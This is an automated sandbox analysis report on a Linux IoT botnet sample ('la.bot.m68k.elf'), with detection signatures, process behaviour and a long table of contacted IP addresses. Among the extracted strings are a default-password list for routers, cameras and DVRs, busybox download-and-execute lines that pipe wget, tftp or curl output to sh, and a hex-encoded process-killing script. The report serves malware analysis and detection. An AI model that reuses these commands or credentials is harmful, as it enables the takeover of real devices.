Linux Analysis Report
la.bot.m68k.elf

Overview

General Information

Sample name: la.bot.m68k.elf
Analysis ID: 1542023
MD5: c7f39a30ef01d829266b8097d7880af6
SHA1: cde11a18e90c69030d7ac0813ded961593203250
SHA256: 6aa93265102c4871ea40ab6ad4366e067bdfe16228cdbbd654d507a6b589164f
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.m68k.elf ReversingLabs: Detection: 28%
Source: unknown HTTPS traffic detected: 54.171.230.55:443 -> 192.168.2.23:33606 version: TLS 1.2
Found strings indicative of a multi-platform dropper
Source: la.bot.m68k.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.m68k.elf String: 8N^Nu/proc/ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppd
Source: la.bot.m68k.elf String: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample listens on a socket
Source: /tmp/la.bot.m68k.elf (PID: 6251) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 209.200.193.157
Source: unknown TCP traffic detected without corresponding DNS query: 209.200.193.157
Source: unknown TCP traffic detected without corresponding DNS query: 179.177.133.194
Source: unknown TCP traffic detected without corresponding DNS query: 179.177.133.194
Source: unknown TCP traffic detected without corresponding DNS query: 125.65.65.54
Source: unknown TCP traffic detected without corresponding DNS query: 125.65.65.54
Source: unknown TCP traffic detected without corresponding DNS query: 202.72.125.88
Source: unknown TCP traffic detected without corresponding DNS query: 202.72.125.88
Source: unknown TCP traffic detected without corresponding DNS query: 108.47.72.201
Source: unknown TCP traffic detected without corresponding DNS query: 108.47.72.201
Source: unknown TCP traffic detected without corresponding DNS query: 208.247.85.217
Source: unknown TCP traffic detected without corresponding DNS query: 208.247.85.217
Source: unknown TCP traffic detected without corresponding DNS query: 117.87.244.9
Source: unknown TCP traffic detected without corresponding DNS query: 117.87.244.9
Source: unknown TCP traffic detected without corresponding DNS query: 123.0.54.209
Source: unknown TCP traffic detected without corresponding DNS query: 21.45.177.45
Source: unknown TCP traffic detected without corresponding DNS query: 123.0.54.209
Source: unknown TCP traffic detected without corresponding DNS query: 57.164.2.76
Source: unknown TCP traffic detected without corresponding DNS query: 21.45.177.45
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 57.164.2.76
Source: unknown TCP traffic detected without corresponding DNS query: 31.69.89.85
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 96.49.233.192
Source: unknown TCP traffic detected without corresponding DNS query: 31.69.89.85
Source: unknown TCP traffic detected without corresponding DNS query: 48.71.107.36
Source: unknown TCP traffic detected without corresponding DNS query: 96.49.233.192
Source: unknown TCP traffic detected without corresponding DNS query: 134.85.213.162
Source: unknown TCP traffic detected without corresponding DNS query: 48.71.107.36
Source: unknown TCP traffic detected without corresponding DNS query: 134.85.213.162
Source: unknown TCP traffic detected without corresponding DNS query: 145.128.108.77
Source: unknown TCP traffic detected without corresponding DNS query: 145.128.108.77
Source: unknown TCP traffic detected without corresponding DNS query: 91.69.8.22
Source: unknown TCP traffic detected without corresponding DNS query: 91.69.8.22
Source: unknown TCP traffic detected without corresponding DNS query: 44.20.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 44.20.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 112.87.220.243
Source: unknown TCP traffic detected without corresponding DNS query: 112.87.220.243
Source: unknown TCP traffic detected without corresponding DNS query: 207.127.32.74
Source: unknown TCP traffic detected without corresponding DNS query: 207.127.32.74
Source: unknown TCP traffic detected without corresponding DNS query: 77.235.72.0
Source: la.bot.m68k.elf String found in binary or memory: http:///curl.sh
Source: la.bot.m68k.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown HTTPS traffic detected: 54.171.230.55:443 -> 192.168.2.23:33606 version: TLS 1.2
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//et
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.m68k.elf (PID: 6254) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal56.evad.linELF@0/0@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.m68k.elf (PID: 6255) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.m68k.elf (PID: 6255) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6255) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6255) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6255) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6255) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6255) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6255) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6255) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6255) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6255) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/793/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/772/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/796/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/774/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/797/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/777/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/799/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/658/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/759/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/761/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/785/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/884/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/788/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/789/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6254) File opened: /proc/904/fd Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6327) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.Vt7I1nuPGT /tmp/tmp.WnAyJyjlUb /tmp/tmp.sBAvp3PR0J Jump to behavior
Source: /usr/bin/dash (PID: 6336) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.Vt7I1nuPGT /tmp/tmp.WnAyJyjlUb /tmp/tmp.sBAvp3PR0J Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.m68k.elf (PID: 6255) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.m68k.elf (PID: 6251) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.m68k.elf, 6251.1.000055ccfb45e000.000055ccfb4e3000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: la.bot.m68k.elf, 6251.1.00007ffe7c53c000.00007ffe7c55d000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: la.bot.m68k.elf, 6251.1.00007ffe7c53c000.00007ffe7c55d000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/la.bot.m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.m68k.elf
Source: la.bot.m68k.elf, 6251.1.000055ccfb45e000.000055ccfb4e3000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
3.193.144.90
 unknown United States
16509 AMAZON-02US false
136.131.81.202
 unknown United States
60311 ONEFMCH false
106.86.8.165
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
14.75.141.116
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
217.206.131.186
 unknown United Kingdom
4589 EASYNETEasynetGlobalServicesEU false
177.202.209.51
 unknown Brazil
8167 BrasilTelecomSA-FilialDistritoFederalBR false
107.226.139.227
 unknown United States
7018 ATT-INTERNET4US false
32.178.132.255
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
123.143.163.67
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
157.244.253.69
 unknown Canada
32934 FACEBOOKUS false
53.193.169.102
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
104.33.98.120
 unknown United States
20001 TWC-20001-PACWESTUS false
135.152.124.75
 unknown United States
14962 NCR-252US false
19.212.133.241
 unknown United States
3 MIT-GATEWAYSUS false
114.239.158.153
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
171.108.3.131
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
134.153.59.22
 unknown Canada
6579 MEMORIALUCA false
46.127.214.110
 unknown Switzerland
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
15.45.123.75
 unknown United States
13979 ATT-IPFRUS false
205.224.40.210
 unknown United States
3356 LEVEL3US false
101.197.2.166
 unknown China
55992 QIHOOBeijingQihuTechnologyCompanyLimitedCN false
114.44.24.198
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
60.70.89.155
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
113.179.50.92
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
32.76.222.196
 unknown United States
2686 ATGS-MMD-ASUS false
130.232.65.208
 unknown Finland
1741 FUNETASFI false
196.58.90.99
 unknown Seychelles
37518 FIBERGRIDSC false
188.216.208.132
 unknown Italy
30722 VODAFONE-IT-ASNIT false
40.19.7.61
 unknown United States
4249 LILLY-ASUS false
124.41.170.111
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
37.159.150.3
 unknown Italy
30722 VODAFONE-IT-ASNIT false
95.164.146.170
 unknown Gibraltar
54903 GLOBALROUTEUS false
136.161.4.69
 unknown United States
174 COGENT-174US false
169.211.69.38
 unknown Korea Republic of
37611 AfrihostZA false
82.40.241.2
 unknown United Kingdom
5089 NTLGB false
180.8.7.84
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
3.170.36.8
 unknown United States
16509 AMAZON-02US false
33.10.198.51
 unknown United States
2686 ATGS-MMD-ASUS false
45.151.74.47
 unknown Spain
197740 TVTRUJILLO-ASNES false
116.224.217.130
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
60.102.120.55
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
13.199.196.130
 unknown United States
7018 ATT-INTERNET4US false
193.0.18.158
 unknown Netherlands
3333 RIPE-NCC-ASReseauxIPEuropeensNetworkCoordinationCentre false
100.166.43.191
 unknown United States
21928 T-MOBILE-AS21928US false
191.88.207.38
 unknown Colombia
27831 ColombiaMovilCO false
162.116.56.54
 unknown United States
45946 AIRNZ-AS2-NZAirNewZealandLimitedNZ false
221.92.136.28
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
67.5.51.227
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
72.220.138.133
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
119.215.76.53
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
111.111.116.119
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
186.221.14.251
 unknown Brazil
28573 CLAROSABR false
219.149.247.178
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
204.77.224.148
 unknown United States
35985 ONERINGNET-ATL-1US false
114.151.128.109
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
220.217.121.106
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
92.125.198.144
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
161.56.236.119
 unknown Bolivia
28024 NuevatelPCSdeBoliviaSABO false
221.243.100.76
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
149.47.223.170
 unknown United States
62729 ASMALLORANGE1US false
100.217.91.187
 unknown United States
21928 T-MOBILE-AS21928US false
36.72.157.177
 unknown Indonesia
7713 TELKOMNET-AS-APPTTelekomunikasiIndonesiaID false
184.237.129.79
 unknown United States
10507 SPCSUS false
188.221.178.82
 unknown United Kingdom
5607 BSKYB-BROADBAND-ASGB false
30.33.84.13
 unknown United States
7922 COMCAST-7922US false
11.153.50.149
 unknown United States
3356 LEVEL3US false
147.55.102.138
 unknown United States
4193 WA-STATE-GOVUS false
26.208.80.138
 unknown United States
7922 COMCAST-7922US false
19.242.227.37
 unknown United States
3 MIT-GATEWAYSUS false
126.151.112.23
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
204.245.29.180
 unknown United States
27377 FTICON-909US false
167.71.216.99
 unknown United States
14061 DIGITALOCEAN-ASNUS false
168.250.117.254
 unknown United States
4241 CSFTBUS false
26.201.75.222
 unknown United States
7922 COMCAST-7922US false
143.138.186.216
 unknown United States
747 DNIC-AS-00747US false
47.10.45.227
 unknown Canada
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
90.101.248.118
 unknown France
3215 FranceTelecom-OrangeFR false
4.108.228.64
 unknown United States
3356 LEVEL3US false
100.198.26.60
 unknown United States
21928 T-MOBILE-AS21928US false
17.75.209.127
 unknown United States
714 APPLE-ENGINEERINGUS false
207.83.188.36
 unknown United States
3356 LEVEL3US false
91.14.242.210
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
135.207.77.72
 unknown United States
6431 ATT-RESEARCHUS false
132.181.181.230
 unknown New Zealand
9432 CANTERBURY-ASUniversityofCanterburyNZ false
204.129.170.162
 unknown United States
13940 SJCOEUS false
124.255.249.205
 unknown Japan 4686 BEKKOAMEBEKKOAMEINTERNETINCJP false
30.75.33.165
 unknown United States
7922 COMCAST-7922US false
78.253.75.176
 unknown France
12322 PROXADFR false
21.233.224.110
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
110.200.202.185
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
49.13.162.198
 unknown Germany
24940 HETZNER-ASDE false
160.13.84.65
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
147.41.175.198
 unknown Australia
37978 NETTAS-AS-APNetworkingTasmaniaAU false
155.28.93.216
 unknown United States
1556 DNIC-ASBLK-01550-01601US false
208.198.136.13
 unknown United States
1699 ANS-1699-ASUS false
206.188.30.252
 unknown United States
22205 DATAPIPE-SEAUS false
34.77.181.112
 unknown United States
15169 GOOGLEUS false
137.138.8.141
 unknown Switzerland
513 CERNCH false
15.152.139.173
 unknown United States
71 HP-INTERNET-ASUS false
25.139.102.153
 unknown United Kingdom
7922 COMCAST-7922US false